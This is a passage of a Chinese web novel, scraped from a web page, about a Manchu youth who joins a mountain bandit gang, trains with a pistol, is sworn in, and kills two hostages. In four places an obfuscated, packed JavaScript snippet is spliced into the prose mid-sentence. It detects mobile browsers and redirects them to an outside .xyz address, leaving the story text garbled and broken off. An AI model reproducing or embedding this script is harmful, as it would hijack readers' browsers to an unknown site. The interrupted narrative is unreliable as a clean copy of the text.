万山雪将他看了又看。他虽然调笑济兰是个“格格”,可是一想到他身骄肉贵,现下又派不上用场——留下他吧,怕他出去通风报信,把他们给卖了;要是带走他…… 似乎知道他心中所思所想,济兰猛地抬起头,望着他:“大掌柜的,不带上我么?” 万山雪高高地坐在马背上,帽檐投下的阴影中,他的眼神看不清晰,只有嘴角微微的笑意,不知道是好是坏。 济兰继续道:“你见过我的枪法了……虽然,虽然离得很近,还少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516189|186227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些训练,不够好……可是我会更好!” 这话就有些孩子气了。 于是万山雪的笑容更大了。 济兰说:“何况,我至少是个识文断字的……有些活儿,我也可以做。今天又帮了你们,这下子够你们嚼用好多日子的。你带我走,我保管用心出力,绝不有二心。” 万山雪笑得更厉害了,几乎是笑出了声。白马绕着济兰一圈又一圈,突然,他俯身伸手,一把揽住了济兰的腰,将他捞到了马背上! “吃饱喝足。扯呼!”万山雪一只手在后面揽着济兰的腰,一只手两根手指放在齿间,吹了一个长长的口哨,骑马率先出了罗家大院的门,身后人马山呼海啸一般,带着本次的战利品,缀在他身后,一同往山上奔去。 成了!他成了! 济兰忽而感到一阵莫名其妙的欢喜。他明明是被这个人劫到关东山的,又是害怕被这人所杀,而自伤左腿,带人砸窑的……可是,成功熏人欲醉,他没有喝酒,但他醉了,山串了。秋夜的凉风吹拂在他脸上,那么清爽,那么自由—— 如果他想,他怎么不能做一个“胡子”呢?阿林保待他那么差,死有余辜……就算阿林保活着,他也平安到达了罗家大院,将来的日子就会更好么?那当然不见得。所以,他当然可以做一个胡子,一个自由自在的胡子……凭他的脑子,做一个崽子如何?他完全可以爬得更高……别说四梁八柱那些乱七八糟的名字,就是三掌柜,二掌柜……甚至万山雪,难道就是不可取代的么? “——我知道你刚才在撒谎。” 耳后突然响起一个低沉的声音,那吐息热乎乎的,却令济兰猛然从幻梦中惊醒,在万山雪的身前打了个哆嗦。 “……大柜说、说什么?” “我说——”万山雪的声音又远了,他刚刚是在济兰耳边说话,现在重新坐直了,又变得懒洋洋的,“我知道,陈六儿刚才根本没有要跑,他甚至没有动一下。” 霎时间,济兰的后背上浮起一层冷汗。 “你、你……”他搜肠刮肚,试图找寻一个看起来合情合理的理由,“可能是我眼花了吧!” 万山雪的轻笑声在他脑后响起,他莫名有些恼了。 “……哼,你既然知道,为什么还带我走?” 万山雪的声音很轻,在晚风中惬意地飘散开来。 “我这个人么,有一点不好,就是不太爱动脑子。我身边的人呢,或多或少也都有点这毛病。正好儿,你浑身都是心眼子,给我用用挺好。” 济兰抿着嘴,在万山雪看不到的地方表情阴沉。 “其次呢……”万山雪忽然又俯下身来,嘴唇亲密地贴着他红红的耳朵,不知道是存心的还是无意的,“你是个‘鞑子’,还是北京来的——嘿嘿,我这绺子,来过做买卖的、来过大财主、来过粮食来过现洋,就是没来过格格。这等稀罕物,我要留一留。” “……你把我当女人?” 济兰几乎要气急败坏了。 万山雪悠悠地叹息一声,忽然扬声对身后的崽子们叫道:“回家!分红柜咯!” 8. 第八章 打雁 湛蓝渺远的天空上,有一行大雁飞过。 济兰竖起一根食指,左眼紧闭,而右眼睁开,用指尖比量着大雁的位置;大雁的影子那么小,还不如他食指的指甲大。 “台炮(傻子)。”他的耳朵隐隐约约听见一句低低的骂声,转脸望去,只见到一个少年忿忿的背影,是邵小飞。 他身边是一群正在喝酒谈笑的崽子们,正首上坐着独眼枪史田,闻言笑道:“怎么说话的?这可是咱上次砸窑的大功臣。”邵小飞眉毛一竖,正要反驳,突然史田又说,“就是咱当家的,也得尊称一声‘格格’!” 此话一出,喝酒的崽子们哄堂大笑起来。济兰转过头来,暗自咬了下牙,继续用他的手指头去瞄天上的大雁。 他的左腿上还绑着夹板,前几日,粮姐请了大夫来给他看,摆正了位置,重新上了夹板,之后就只能静养,等着骨头长好。“年轻人嘛,好得快”——这是大夫的原话。 但是伤腿没给他带来任何优待。 砸窑的那晚,他坐在万山雪的手边,又跟他共乘一骑回到香炉山上,这是何等的重视?也怪不得他满心以为,这一回来,必然要挂柱入绺,成为万山雪的左膀右臂……可是没想到,当他询问万山雪,究竟要给他一个什么位置的时候,万山雪却说—— “刚上了山,就想要一步登天?我们格格野心不小啊。”万山雪英俊的脸庞上带着坏兮兮的戏谑神色,“这么着,只要你练好枪法,我就给你个‘官儿’做做!” “练枪可以,但如何考核?” 万山雪摸着他还没来得及刮的下巴,想了想,说:“什么时候给我打下一只大雁,什么时候算练好了。” “可是……可是大雁马上就都飞走了!” “所以啊,格格。”万山雪笑开了,“这几天,你要是打不下来,就只好等明年了。” 这是报复。 这绝对是万山雪的报复。 济兰的脸上面无表情,心里却已经把万山雪的祖宗十八代都骂了一遍。他早该知道,以万山雪那个戏谑的态度,还有他借陈六儿压花窑的机会公报私仇的事情……他怎么可能一进了山,就成了甚么“四梁八柱”呢? 越是胡思乱想,心就越是静不下来。 “我说,格格,枪不是这么练的。” 一道宽阔的黑影遮住了他的视线,逆着光,他看见对方脸上黑漆漆的眼罩和含着笑的独眼,是史田。 济兰眨巴眨巴眼。 “你不打枪,怎么知道自己打中了没有?” 济兰摸了摸怀里那把花口撸子,说:“可是……” “没有可是。”史田将手一摆,突然拔枪!只听“啪”地一声,枪声清脆,传得老远——队尾的一只大雁应声而落! “独眼哥好枪法!”喝酒的崽子们发出一阵欢呼,有几个人跑了出去,去找寻那只被打下来的大雁了。 “——要我说啊,枪法、眼力,这都是天生天长的。”邵小飞吹了一个长长的口哨,脸上却现出讥笑来,“更何况,有些人娇生惯养,跟咱们泥腿子可不一样;让他写写字儿,画画花儿甚么的行,让他打枪?嘿。” “那也比紫朵子(送信)两回还一无所获的花舌子要强。”济兰冷冷一瞥,不顾邵小飞被他气得跳脚,突然也抬起花口撸子,照天“砰砰”两枪! 可惜,没有突然折了翅膀的大雁坠落下来。 济兰咬住了嘴唇。 虽说满人看重骑射,可是他自小就在这方面资质平平。大清朝不行了,连带着他们的功课也是能糊弄就糊弄过去,更何况他志不在此?不过,他阿玛却很严格。 大清朝要完了,阿玛却不信。他以养育一个阿哥的标准来养育他。阿玛是满人,可是汉人有句话,他真是喜欢得不得了: 棍棒底下出孝子。大抵如此。 他不喜欢枪。 比起枪,他更喜欢刀子。他用刀子在乌龟的背上刻字,再冷冰冰地看着乌龟迟缓地爬走。乌龟可以爬走,他却不能。 直到他踏上来到关东的马车。 尽管绺子里头的生活条件,跟他在北京家里头是天上地下:头几天,他夜夜被窸窸窣窣的耗子惊醒;沐浴洗澡更是没地方,只能在刺骨的河水里……他知道郝粮有一个令人艳羡的大浴桶——居然有朝一日,他萨古达济兰!也要羡慕别人有个浴桶了! 他对着自己手中的花口撸子怔怔出神——为什么他能射中史田身后的崽子,也能一枪打死阿林保,可就是不能射中大雁呢?他以为自己有些天赋,结果不过是因为他前两次都离目标太近,所以没有打空么? “我怎么听见外面摔条子(打枪)啊?” “大柜!” “当家的!” 他走神的时候,万山雪已经从屋内走了出来,一仰脸,看见空中远远飞走的大雁,说:“我怎么记得我听见三声响啊?” 万山雪转过脸来,济兰却咬着下嘴唇不吭声。 史田已经又灌下去二两,借着酒劲儿粗声大笑:“大柜,你这‘格格’人长得秀气,枪法吧……更秀气。不如这样,让他打打‘飞钱’就算了。” 万山雪似乎很宽容的,用眼睛乜着济兰,问道:“你说呢?你选,打飞钱,还是打大雁?” “什么是打飞钱?” 万山雪伸手一指,指向他们正前方的那棵老槐树。 “看见树叉子上挂着的那串古大钱了没有?打中了,就算你赢。” 这是堂而皇之地要给他开后门了。 济兰出身虽高,却很有几分“识时务”的智慧,鲜少有犟头犟脑的时候。 他瞪着万山雪的笑脸,突然把脖子一梗。 “我不。我要打雁!” 万山雪浓密的眉毛高高地挑了起来。 崽子们的酒也不喝了,都直勾勾地看着他们。邵小飞的表情更好笑,嘴巴张着,像是被塞了个滚子(鸡蛋)似的那么圆,但他很快调整好了,嘎嘎大笑起来:“你?你要打雁?” 万山雪的眼神像是在问和邵小飞一样的问题。 邵小飞的笑声没把济兰怎么着,可就是邪了门了,万山雪那怀疑的眼神几乎令得他浑身的汗毛都竖了起来! “我说了,我要打雁!” “打雁。不后悔?” “不后悔!” “这可是你自己说的。” “我自己说的!” “行。那就在入冬之前,我要亲眼看见你打下来一只大雁给我。打着了,我让你做里四梁!” 济兰屏住了呼吸。而万山雪的眼睛,也眯了起来。 “打不着,就自己滚下山去,别当什么胡子了!” 青纱帐倒了,树叶子也变黄了。 这时候,平原上的胡子们没有了容身之处,就都去猫冬了。唯有他们在山上栖身的胡子,还能把这儿当成个安乐窝。上一次抢来的一队粮食,还有几乎是罗保林的全部财产,都足够他们逍遥好一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516190|186227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵子的了。 衣食都无忧,香炉山上的万山雪一绺,最近唯一的烦恼就是打枪声。 第一次在天不亮的时候就听见打枪声,史田第一个从炕上跳了起来,嘴里还喊着“谁来响(打)?!”,第二次再听见的时候,他只能不耐烦地翻个身,撕两条破布卷巴卷巴,塞进自己的耳朵眼。 济兰每天都在打枪。 他的时间越来越少,天气渐冷了,大雁也都飞回南方。一开始,他先用老槐树上的那串古大钱练,当然也练出了一些成果——但是这个成果,在打雁上面,就完全不够看了。他的腿日渐好了,几乎可以下地,下了地,还能稳稳地站上个半个时辰,但是他的子弹,却还是不能百发百中地射中一只大雁。 按照这几日大雁出现的频率,他推断,最晚立冬之前,他必须练到百发百中。他必须。不然的话……他忽然想到,那夜的晚风和自由。那滋味真不赖。 这一天早晨,济兰照旧悄悄起身,到后山去练枪。一只灰色的耗子在他脚边跑过,他熟视无睹。 他的手掌上磨出红痕,红痕上再叠红痕,最后红痕的颜色变浅变淡,皮肤却变硬了起来——这只舞文弄墨的手,也给磨出了枪茧。 一轮红日刚刚从天边升起。关东的朝霞同夕阳一样,是火烧般的艳红色。 他今早的运气很好,第无数次抬起枪口,对准了一队刚刚飞来的大雁。 “打雁的时候,不要打头雁。” 在他犹豫不决之际,忽然之间,他的后背贴上一片温热的胸膛,他握枪的两只手,也被身后的人的两只手握住,挪了挪,将枪口对准了队尾的雁。 “打了头雁,它们就乱了,花达(散)了,一通乱飞,更不好打。” 万山雪今早也忘记刮他的胡子,济兰感到颊边痒痒的,有一点微微的刺痛,他扭过脸,果然看到万山雪线条英挺的下巴上一片青青的胡茬。 “看我干什么。大雁都要飞走了。” 万山雪并不看他,那眼神很专注似的,只盯着那一行雁。 忽然,济兰的食指一热,是万山雪的食指,压在他的食指上,两根指头叠放在扳机上;那指腹很粗糙,似乎不仅仅握过枪,还握过锄头和镰刀。 “专心——” 万山雪轻声说,吐息喷在济兰的耳朵上,就像那晚他载着济兰回香炉山时一样。 “一。二。三。” 济兰的食指不受他的控制,“砰”一声枪响!一只大雁“噶”地哀叫一声,落了下来,落入山下,遍寻不见了。 “再来。” 伴随着这两个字,济兰身后的温度在一瞬间消失了,万山雪放开了他。 雁群果然没有散。济兰抬起枪,这把枪仍然是他的花口撸子,屏气凝神,这一刻,那群大雁在他眼中仿佛飞得很慢、很慢,慢得如同有一个世纪那么长,事实上,又只有一眨眼那么短—— “砰!” 济兰瞪着一双眼底青黑的眼,望着雁群,望着那只翅膀一歪,倏然坠落的鸟儿,尔后不可置信地跳了起来! “我成了!成了!打中了!”他真心实意地大笑起来,挥舞着他的花口撸子,像一个讨到了糖的孩子,转过身去,“万山雪!你看见没!我打中了!” 他只见到万山雪的背影,依稀看见他捂住嘴,打了一个大大的哈欠,尔后扬手,对他挥了一挥,大约是说“听到了”。 济兰两只手抱着枪,突然感到无与伦比的心满意足。 9. 第九章 挂柱 里四梁,是指四梁八柱里最重要的几个人。 在济兰来之前,万山雪已有了史田做炮头,郝粮做粮台,还有一个许永寿做水香,现下的里四梁,就唯有一个翻垛的位置空悬。 让济兰来坐这个位置,究竟是对还是不对呢? 他年纪尚青,可是万山雪自己落草为寇的时候,也是这样的年纪,身边也只有郝粮一个人。但济兰与那些崽子们是不同的,他读过书,认识字,眼界高,心狠,敢杀人,还有脑子,假以时日,未必不能超过他。 香炉山上的小香堂时隔多年,又一次开堂了。 万山雪,四梁八柱都在场,济兰跪在正中间。 “大令出朝,地动山摇, 逢山开路,遇水架桥; 逢山开路三千里, 遇水架桥万丈高。 逢龙拔角,逢虎拔毛, 一不是天子驾到, 二不是文武来朝, 是为把国保、尽忠孝。 不准奸/淫逞强/暴, 不准戏妹把嫂调。 不准指洪当头炮, 不准越边去拐逃, 不准口角生风暴, 不准泄露机密条, 不准越理来反都, 不准香堂来混扰, 不准上压下、大欺小, 不准引张来上槽。” 小香堂里,济兰跪在地上,手中攥着十九根香,每说一句,就插一根在香炉里。前三后四,左五右六,当中插上最后一根,这誓词就是念完了。 万山雪说:“你起来吧。” 济兰道了谢,又听他的吩咐,站了起来。他腿还没好,可幸年轻恢复得快,只是走起来还跛着。照着规矩,济兰先走到史田面前,说:“听炮头指点。” 史田的独眼里有一丝笑意,看看万山雪,又看看济兰,似乎感到肉票成为胡子,还做了个翻垛的,真是几十年难见的事情。万山雪瞪了他一眼,他立刻肃了脸色说:“你这枪法得练练。以后早起练枪,不许踏被窝子!到你的卡子你要及时发号,大家的性命全在你手上。”说罢,一招手,就有崽子拿子弹和枪给他。他身上本就有他自己的一把花口撸子,这一把新枪正好可以学其他人一样,藏在靴桶里。 济兰接过枪和子弹放好,又走到郝粮跟前。 郝粮的目光温柔而热络,原来她就是绺子的粮台:顾名思义,就是整个绺子的后勤,管粮管帐的。他突然想起绺子众人都管她叫嫂子的……那她的丈夫是谁?他偷眼去看万山雪,只见万山雪也正看着他,于是立刻低下头,听郝粮训话道:“虽说你岁数小,出身和我们这些人都不一样,可是我们在外追风走尘的,吃顿饱饭可不容易呀!啃富(吃饭)的时候不要挑肥拣瘦,要学着谦让……” 说罢,又有一套衣服、被褥、毛巾和肥皂,叠在一块儿,塞到他怀里。 最后是许永寿。照理说,新人挂柱要“过堂”,就是考考胆量。但是济兰已然和许永寿踩过了盘子,打了一个硬窑,实在没有比这个更厉害的“过堂”了。果不其然,他一走到许永寿面前,许永寿黧黑的脸上就露出了笑模样:“好小子,挺顶硬(胆子大)的!再多历练历练,到时候,带你去打更硬的窑!” 这就算交待完了,几个人齐刷刷地看着万山雪。其中当然是济兰最为滑稽,抱着一大摞被子毛巾香皂,几乎把他整个人的上半身都遮住了,只露出一双眼睛。 隔着一摞被子,万山雪注视着济兰的眼睛。这时候他没戴着他的白礼帽,济兰发觉,万山雪的辫子比他铰得要早,因为万山雪的头发长得更快更长,有几缕碎发落在那双有几分孩气的眼睛边上,让人发觉了万山雪的真实年纪——他绝不会超过二十五岁。 “你现在反悔退伙还来得及。挂柱容易,拔香头子难。”他说。 济兰摇了摇头。他绝不后悔。他只有这一条路可走。 万山雪于是又说:“打仗的时候后跑,我就插(杀)了你。” 济兰仍和他对视着,一步也不肯退:“绝不后跑!” 万山雪这才点了点头,抬了抬下巴,道:“认完人了,都是自家兄弟。之后去正青那儿背背绺规,要是明知故犯,昨儿晚上你也见着了。” 他这是点他呢。万山雪的眼睛里流露出一丝狡猾的笑意。他知道济兰耍的心眼子,压花窑(□□妇女)的他总归要杀,如今还抓住了济兰的小辫子,简直是一石二鸟。 “所以,大掌柜的给我什么位置?” 济兰仰起脸来问道。 万山雪摩挲着自己的下巴,在满室的等待中想了又想,突然转头问郝粮道:“我记得,咱绺子是不是缺一个翻垛的?” 郝亮笑着说是。 万山雪又转向满屋的四梁八柱,手上一指济兰,问道:“你们觉得他怎么样?” “还算管直(枪法不错),敢开枪!”史田笑道。 “挺精灵,挺顶硬的。”许永寿说。 “人有点儿倔,不过确实顶硬。”计正青淡淡看了一眼,那一眼仍看得济兰有些发毛。 “济兰弟弟还有什么说的?人也礼貌。”郝粮抿嘴一笑,用胳膊肘杵了杵万山雪。 万山雪乜她一眼,又说:“现在小白龙不在,秀才下山看他老娘去了。既然你们都同意,就这么定了。”眼睛又直直盯着济兰,“以后,你就是咱关东山万山雪的翻垛的,你记住了?” 明明几乎所有人刚刚都说过他精灵,结果济兰一歪头,冒出几分傻气地道:“什么是翻垛的?” 这时候,原本一直沉默着的邵小飞突然跳了起来!他沉默得一反往常,要不是他突然说话,济兰几乎都忘了他在这里。 “大柜!我不同意!他连翻垛的是什么都不知道,你还要他做翻垛!”济兰惊诧地上下打量他的时候,邵小飞已经气得哭了,不想给人看见似的,扭头用袖子抹了抹眼睛,又继续道,“他根本不是咱们绺子的人,他,他甚至不是关东人!” “得了。不知道的可以学。”万山雪这下完全放松下来了,济兰知道,那意思是他下的令已经无可更改,“再说了,往上数咱有几个关东人?你自己就是河北逃荒来的。还有你独眼哥,还是查干淖尔来的呢!” “可是,可是——”邵小飞含着两包泪,还待再辩驳几番,可是万山雪已经披上外套,站了起来,完全没有听他说话的意思。 “誓也发了,香也插了——斩凤凰!” 众人欢呼起来,许永寿欢呼一声,将满脸委屈的邵小飞随手一揽,拉到院子里去了。 一只羽毛雪白的小鸡,手起刀落,鸡头落下,血洒在院子里,鲜红赤裸的一片。众人的笑声口哨声山呼海啸一般,一股脑充盈了济兰的耳朵,令他的血液在鼓膜里咚咚乱撞!在人群中,他笑得几乎有几分傻气,任由他嫌恶的野蛮人们用他们的肩膀去撞他的肩膀,郝粮在人群外,一面抿嘴微笑,一面指挥崽子们,酒坛子纷纷搬来。济兰的肩膀上搭上一条健壮的手臂,勒得他差点断气,耳朵里听见史田扯着嗓门对他说:“今年猫冬跟哥走吧,带你去吃查干淖尔的剒生鱼!” 最后还是万山雪将他从众人之中拯救了出来,那只可怜的小鸡被他从树桩子上拿了下来,雪白的羽毛血迹斑斑,也染得他满手鲜血;万山雪一来,大家都自动让出了道路,济兰眼睁睁地看着他,没来由,突然觉得腔子里的一颗心跳得更厉害了。 万山雪的血手抚了上来,济兰却宛如给人施了定身术一般,动弹不得。直到他脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516191|186227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一片湿热,鼻子里闻到了鸡血的腥气。可是那莫名其妙的抚摸却一触即分,万山雪已经转回身去,侧对着眼巴巴望着他的人群。 “小崽子们,都认认脸!”万山雪突然拔高了嗓门,喊道,“以后这就是咱们家翻垛的!” “诶!”人群高呼一声。 “以后,在外绑票砸窑,听翻垛的!” “好嘞!”众人已经拉开架势,桌子上摆满了酒,还有一上午做好的小菜。济兰半边脸上还沾着冷掉的鸡血,又被万山雪亲自揽着肩膀,送到了桌上。 他正站在桌前,不知所措之际,万山雪已经施施然坐了下来,开始给他斟酒:粗瓷大碗里倒上度数极高的高粱酒,闻一下都冲鼻子。 “翻垛的,说两句?” 此话一出,大家伙都用筷子敲起碗来,叮叮当当声响成一片。 对着仰起来望着他的一张张脸,济兰忽然感到口干舌燥,声音静了下来,他的鼓膜却还是轰隆作响,于是他不得不提高声音,才能压过自己耳中的声响: “多谢大当家的垂爱。”他的目光扫过一张张或熟悉或陌生的脸庞,猜想自己没有鸡血的那半张脸,或许也和鸡血一样的红,他在脑子里迅速搜刮了一番所有写梁山好汉的传奇演义,“今日能靠窑(投靠绺子)到这里,是我和诸位的缘分。废话少说,从今往后,只要我还在绺子一天,就为大家伙费心尽力一天!” 说罢,他抬起酒碗,仰头一饮而尽! 这一场酒,一直喝到深夜。 院子里头崽子们横七竖八地醉了一地,万山雪也被郝粮扶进了屋;四梁八柱各有他们的屋子,都强撑着眼皮醉醺醺地散了。 香炉山寂静了下来。 一个人影走在黑暗的山道中,他的步伐很稳健,一点也不像一个醉鬼;昏暗的月色里,他凭着记忆,走到了那个小小的山洞——叫什么来的?是了,盘行话里,叫“秧子房”。但与前几日不同,他切切实实地站在了秧子房外头,能够居高临下地俯视着那扇小小的铁门。但是,他忽然屈膝,蹲了下来。 就这么看了一会儿,突然,他一直插在衣裳里头的右手掏了出来,“砰砰!”两声,里头连一声惨呼都未来得及有,缓缓地,深红色的血流了出来,一直漫到他的脚边,冷不丁让他想起了晌午时候那只雪白羽毛的小鸡。 “翻垛的喝多了,怎么跑到这里来了?” 他身侧,一盏油灯亮了起来,油灯的火光之后,映出一张苍白的尖脸。济兰转过脸来,火光也平等地照亮了他的脸庞。 计正青没有醉。 哪怕是在最热闹的席间,他也始终冷眼看着众人推杯换盏,自己却只是抿上一小口。他就是这么个不合群的个性,却做着最心黑手狠的秧子房掌柜。 “正青哥。”济兰的嘴唇动了动,忽然两个嘴角向上一挑,亲切道,“你酒量真不赖。” 计正青对着地上的血努了努嘴。 “怎么,翻垛的刚一上任,就来替我操心了?” “正青哥这话说得。”济兰微微一笑,“大掌柜的这几天高兴,把这两个赔钱货都给忘了。我不过突然想起,来处理首尾。” “是么。” “当然了。要是把他们放了,他们下了山去报官,咱们怎么办?要是不放,留在这里养着,岂不是把咱们都当成了他俩的养老儿子?”济兰走近前来,轻轻地、笑眯眯地拍了拍计正青的肩膀,“所以,就劳烦正青哥,把这儿拾掇拾掇。大柜醒了,我自去跟他说。” 计正青站在原地不动,没有说好,也没有说不好,只是盯着济兰不发一语。济兰的手在他肩头轻飘飘地拂过,落下,人已经越过了他,去他的新屋子。 他背着光,身影在拐角一闪,看不见了。 10. 第十章 过年(上) 过年回家的时候,于敏讷带给了他那瞎眼老娘五十大洋。 他娘那双又黑又瘦的老树根一般的两只手一摸,先摸到一层红纸,拆开来,摸到里头冰凉凉的萝卜片,第一件事不是高兴,而是吓了一大跳;于敏讷的老娘岁数大了,经不起吓,两手一松,大洋劈里啪啦落了一地,两只手抓住了于敏讷的胳膊,声儿都变了调:“儿啊……这是,这是哪儿来的钱呐?” 于敏讷很耐烦地把他裹着小脚站不稳的瞎眼老娘扶回到炕上坐稳了,又蹲下来一片片地捡,说:“娘,你又忘了。不是说了吗?我在外面找了个活儿……代写文书。这不是过年嘛,掌柜的给分红。” “啊……好像是想起来了。”老太太往炕沿一坐,两只脚挨不着地,她一放下心来,又蹬了鞋子,把两条腿盘上了炕,“我儿认字儿就是好啊……就是好……你们掌柜的也好,心眼儿好使,咋给这么多钱呢……” 有时候,于敏讷也想,他娘瞎了,也不是没有好处。这样的话,她就看不见他愧疚的脸红。 但是愧疚抵啥用?愧疚不能当饭吃。 他捡起了所有大洋,柜子底下的犄角旮旯里的那一片也找出来了,放在桌子上一数,一块也没少。他的心又变得和大洋一样硬。 他可不是个平平无奇的读书人。 “娘,外面卖饼的就开半天。你想吃烧饼不?我去买点吧。” “敏讷——” 老太太叫了他一声,到底还是住了嘴,随他去了;她靠在炕头,就美不滋儿地寻思他儿子的好差事,和这个顶好的给分红的大掌柜——她可不知道,她儿子这份“字匠”的活儿,是绺子里的字匠! 于敏讷抽了一块现洋,出门往右转。 他家就住在柳条边的一个小围子里头,街里街坊的都认得。民国元年之前,他还正在家里埋头苦读,家里连灯油都买不起,他爹死以后,他娘非要供他读书考秀才不可,于是白天种地干活,晚上缝补衣裳贴补家用,硬生生熬瞎了一双眼睛。 结果最后他也没考上那个秀才。 他一边走,一边出神,心不在焉地对碰上的乡亲笑一笑、点点头。 说起来,他当上胡子的这过程还很离奇哩! 今年开春的时候,他还在围子里郭家烧锅店里当账房,有一天去赶大集,路上跟几个人一起,被两个崽子劫了,劫到山上一瞧,身上半文钱也没有,衣服上还打补丁,跟那几个有名的地主少爷比起来,简直是鱼目混珠。但是看在他识几个字的份儿上,那绺子大柜叫秧子房掌柜给他抽了出来。 他一抬头,只看见一个比他还年轻的小伙子,这就是香炉山的大柜万山雪,笑眯眯的,仿佛没有一点架子,可他还记着秧子房里的鬼哭狼嚎,像一只受了惊的兔子,畏缩在地上瑟瑟发抖。 “好大哥,你别害怕。”万山雪说,“我听说,你是个账房,认识字的?” “认、认识……” “赶巧了,我这儿正好缺个识字的。这么着,烧锅店给你开多少钱?” “包,包吃住……不给钱……” 堂内哄堂大笑起来,万山雪似乎也忍不住笑了。 “那好,我给你一个月十块现洋,年底分红,吃住也包,你看怎么样?” 打那以后,他就不再窝在家里读书,或者窝在烧锅店算账了。 街坊四邻问起来,他就说,有个做山货生意的掌柜,缺个账房字匠,他就干这个。 信了的人不知道有几个,但是这世道,有钱比啥都强。这几天,他还琢磨着,要不然,在围子四周打探打探,再置办个房产……要是娘不想搬,这破房子,总得修葺修葺吧? 他这么一路溜号打算着,终于走到了卖烧饼的地方。 卖烧饼的叫赵三儿,他家一家三口都做烧饼,早早起床做好了,早早推着板车出来卖。赵三儿见着他来,殷勤招呼道:“这不是于大哥吗?来点烧饼?” 于敏讷矜持地点了点头,又在心里感慨命运的神奇:如果不是大柜,说不准,他现在也在卖烧饼?不,他十指不沾阳春水,除了读书,什么都不会。烧锅店只供吃,不给钱,只怕再过几年,他要把他的瞎眼老娘活活饿死。 “要两个。” “好嘞,我给你装起来。” “我也要两个。” 于敏讷一转头,只见一个苍白尖脸的男人,不知道什么时候站在了他身侧。他浑身一悚,感觉身上的汗毛都根根立了起来,赶忙把脸转了回来,接过赵三儿递来的烧饼,转身便走。 那苍白尖脸的男人付过了钱,拿了两个烧饼,也跟在他身后。 他一边吃,一边走,迈着不紧不慢的步子,缀在于敏讷的身后,像是一道不吉利的影子。 于敏讷越走越快,一时间心慌气短,突然,一只手伸过来,抓住了他的胳膊!他差点两眼一翻,就地昏过去。 计正青笑眯眯地,还是抓着他的手肘不放,等着他昏过去。 于敏讷最终没有如自己所愿的昏过去,只好拼命甩手,指望着把计正青的爪子甩下去。 “撒开!拉拉扯扯的什么样子!你怎么下山了……要是给人发现……”他压低了声音。 “不会的。”计正青嚼着嘴里的烧饼,似乎感到好吃,又格外看了看手里剩下的一大块,“这时候,跳子(兵)也都懒了。明天就三十儿了,谁不过年啊。” “……大柜放你下来?” “我的大读书人,明天过年了,能有地方去的,都下山来,松快几天。” 于敏讷“哼”了一声。 “你也有地方去?车店?窑子?” 计正青的嘴角冷笑着扬了起来。 “上你家过年,咋样?” “……不咋样!”于敏讷又感觉芒刺在背了。今年一整年,他读书人的良心时常作祟,描朵子(写信)去要挟别人交钱已经是他掩耳盗铃的极限,更别提,一个报号“贼心狠”的秧子房的计正青,突然光天化日地出现在围子里,甚至让他起了疑心:怎么着,今年不猫冬,大柜要派人打过来了? 计正青撒开了他,叹了口气。 “算了,不逗你玩儿了。一逗就急眼,没意思。” “那你?” “我也是受大柜所托啊。”计正青道,“老许过年又去给人拉帮套,史田要回查干淖尔,新来的翻垛的断了腿还没好……就剩下我一个人使唤。” “使唤?使唤你什么?” “大柜说担心‘小白龙’,耽在花果窑子里没个准信儿,谁知道是不是死在外头了,让我来打听打听。” 于敏讷好奇道:“明天就过年了,现在找人?” 计正青摇了摇头:“照我说,这狗篮子说不准正在他老相好儿的被窝里享受呢。就为了不让他享受,我怎么也得找着他。” 他在让人不好过这一途上,确实有着令人惊异的执着。而于敏讷也感觉,不要打断计正青的这种执着为好。 他一边这么想,一边两个人并肩走到了路口——往左一转,就是于敏讷和他瞎眼老娘的家了。 于是他也立刻停了下来。 “不请我去家里拐着?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516192|186227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计正青坏笑道。 “走……快走!”于敏讷赶人。 计正青也不再逗他了,一摆手,转身往另一个方向去了。虽然是过年,但是小白龙郎项明无处可去,不在花果窑子,还能在哪儿呢?计正青就算把整个围子翻过来,都要找到他的。 远在几十里外的香炉山上,正为过年预备着。 